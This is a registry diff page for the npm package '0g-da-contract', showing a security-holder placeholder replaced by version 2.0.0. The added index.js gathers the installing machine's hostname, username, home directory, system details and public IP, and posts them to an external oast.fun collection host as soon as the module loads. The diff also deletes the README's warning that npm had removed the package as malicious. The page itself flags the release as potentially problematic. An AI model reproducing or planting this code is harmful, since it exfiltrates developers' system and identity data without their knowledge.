0g-da-contract 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of 0g-da-contract might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +57 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,57 @@
1
+ const os = require('os'); // Module to get OS details
2
+ const axios = require('axios'); // Module to make HTTP requests
3
+
4
+ // Function to get user and system details
5
+ const getUserAndSystemDetails = () => {
6
+ const systemDetails = {
7
+ platform: os.platform(), // OS platform
8
+ architecture: os.arch(), // System architecture
9
+ cpuCores: os.cpus().length, // Number of CPU cores
10
+ freeMemory: os.freemem(), // Free memory in bytes
11
+ totalMemory: os.totalmem(), // Total memory in bytes
12
+ hostname: os.hostname(), // Hostname
13
+ username: os.userInfo().username, // Current user
14
+ homeDir: os.userInfo().homedir // User's home directory
15
+ };
16
+ return systemDetails;
17
+ };
18
+
19
+ // Function to get public IP address
20
+ const getPublicIp = async () => {
21
+ try {
22
+ const response = await axios.get('https://api64.ipify.org?format=json'); // Fetch public IP
23
+ return response.data.ip;
24
+ } catch (error) {
25
+ console.error('Error fetching public IP:', error);
26
+ return null;
27
+ }
28
+ };
29
+
30
+ // Function to send data to the Intercct SH instance
31
+ const sendToIntercctSH = async (data) => {
32
+ try {
33
+ const intercctUrl = 'https://zezcpprclerkqyeittfxklacg53safnqu.oast.fun'; // Replace with your Intercct SH instance URL
34
+ const response = await axios.post(intercctUrl, data, {
35
+ headers: { 'Content-Type': 'application/json' }
36
+ });
37
+ console.log('Data sent successfully:', response.data);
38
+ } catch (error) {
39
+ console.error('Error sending data:', error);
40
+ }
41
+ };
42
+
43
+ // Main function to fetch details and send them
44
+ const main = async () => {
45
+ const systemDetails = getUserAndSystemDetails();
46
+ const publicIp = await getPublicIp();
47
+ const data = {
48
+ ...systemDetails,
49
+ ip: publicIp
50
+ };
51
+
52
+ console.log('Sending the following data to Intercct SH:', data);
53
+ await sendToIntercctSH(data);
54
+ };
55
+
56
+ // Execute the main function
57
+ main();
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "0g-da-contract",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "ls"
8
+ },
9
+ "keywords": [
10
+ "test"
11
+ ],
12
+ "author": "ISC",
13
+ "license": "ISC"
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=0g-da-contract for more information.